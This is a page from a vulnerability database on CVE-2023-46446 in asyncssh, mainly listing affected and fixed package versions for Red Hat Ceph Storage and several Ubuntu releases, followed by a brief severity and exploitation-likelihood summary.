python3-rados-debuginfo
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
python3-rbd
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
python3-rbd-debuginfo
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
python3-rgw
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
python3-rgw-debuginfo
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
rbd-fuse-debuginfo
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
rbd-mirror-debuginfo
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
rbd-nbd
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
rbd-nbd-debuginfo
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
python-asyncssh
Ubuntu:16.04:LTS
All versions, plus listed versions
1.2.0-11.2.1-11.3.0-1
None known
python-asyncssh
Ubuntu:Pro:18.04:LTS
before 1.11.1-1ubuntu0.1~esm2, plus listed versions
1.8.1-21.11.0-21.11.1-11.11.1-1ubuntu0.1~esm1
1.11.1-1ubuntu0.1~esm2
python-asyncssh
Ubuntu:20.04:LTS
before 1.12.2-1ubuntu0.2, plus listed versions
1.12.2-11.12.2-1ubuntu0.1
1.12.2-1ubuntu0.2
python-asyncssh
Ubuntu:22.04:LTS
before 2.5.0-1ubuntu0.1, plus listed versions
2.5.0-1
2.5.0-1ubuntu0.1
python-asyncssh
Ubuntu:Pro:24.04:LTS
before 2.10.1-2ubuntu0.1+esm1, plus listed versions
2.10.1-22.10.1-2ubuntu0.1
2.10.1-2ubuntu0.1+esm1
python-asyncssh
Ubuntu:20.04:LTS
From an advisory covering 2 CVEs
before 1.12.2-1ubuntu0.2, plus listed versions
1.12.2-11.12.2-1ubuntu0.1
1.12.2-1ubuntu0.2
python-asyncssh
Ubuntu:22.04:LTS
From an advisory covering 2 CVEs
before 2.5.0-1ubuntu0.1, plus listed versions
2.5.0-1
2.5.0-1ubuntu0.1
python-asyncssh
Ubuntu:Pro:24.04:LTS
From an advisory covering 2 CVEs
before 2.10.1-2ubuntu0.1+esm1, plus listed versions
2.10.1-22.10.1-2ubuntu0.1
2.10.1-2ubuntu0.1+esm1
python-asyncssh
Ubuntu:Pro:18.04:LTS
From an advisory covering 2 CVEs
before 1.11.1-1ubuntu0.1~esm2, plus listed versions
1.8.1-21.11.0-21.11.1-11.11.1-1ubuntu0.1~esm1
1.11.1-1ubuntu0.1~esm2

History

History
RecordedChangedSources
affected, facts
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2023-46446 is a medium vulnerability (CVSS 6.8) in Asyncssh Project Asyncssh, published November 9, 2023. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.87%, the 58th percentile. Fixed in asyncssh 2.14.1.

References

Show 89 moreShow less
This page doesn't list everything

Left out here: 28 versions and the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open